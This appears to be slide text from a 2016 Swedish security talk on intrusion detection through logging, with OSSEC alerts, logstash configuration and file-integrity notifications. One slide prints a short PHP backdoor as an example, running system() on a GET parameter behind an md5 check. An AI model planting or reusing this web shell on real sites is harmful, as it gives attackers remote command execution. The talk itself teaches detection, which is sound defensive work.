Intrång upptäckt av loggning

CoreSec 2016-05-19

Jonas Lejon

triop.sekryptera.se

jonas@triop.se@jonasl

OSSEC HIDS Notification.2013 Jun 16 23:48:29Received From: hetzner->/var/www/logs/error.logRule: 31421 fired (level 5) -> "PHP internal error (missing file or function).”

Portion of the log(s):2013/06/16 23:48:27 [error] 2252#0: *9980497 FastCGIsent in stderr: "PHP message: PHP Fatal error: Call to undefined functioninclud_once() in /var/www/docs/wp-content/themes/mytheme/footer.php on line 1" while reading upstream, client: 5.9.164.69, server: hetzner, request: "GET /wp-content/themes/mytheme/images/favicon.ico HTTP/1.1", upstream: "fastcgi://unix:/tmp/php5-fpm.sock:", host: "hetzner"

OSSEC HIDS Notification.2013 Jun 16 23:48:29Received From: hetzner->/var/www/logs/error.logRule: 31421 fired (level 5) -> "PHP internal error (missing file or function).”

Portion of the log(s):2013/06/16 23:48:27 [error] 2252#0: *9980497 FastCGIsent in stderr: "PHP message: PHP Fatal error: Call to undefined functioninclud_once() in /var/www/docs/wp-content/themes/mytheme/footer.php on line 1" while reading upstream, client: 5.9.164.69, server: hetzner, request: "GET /wp-content/themes/mytheme/images/favicon.ico HTTP/1.1", upstream: "fastcgi://unix:/tmp/php5-fpm.sock:", host: "hetzner"

+

output { if [type] == "syslog" { file {message_format => "%{[message]}"

path => "/ebs/syslog/logstash/%{[host]}.syslog" }

}}

find /ebs/syslog/logstash/ -type f -exec ./util.sh addfile {} syslog \;

• IP-adress• Metadata

https://gist.github.com/jonaslejon

<?php

if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") { $time = str_replace("@"," ",$_GET["localtime"]);@system($time); exit;

}

?>

Exempel på bakdörr

Filintegritet

OSSEC HIDS Notification.2015 Jul 16 00:41:30

Received From: ds5090->syscheckRule: 554 fired (level 7) -> "File added to the /var/www directory."Portion of the log(s):

New file '/var/www/website.com/docs/president.php' added to the file system.

--END OF NOTIFICATION

Tack!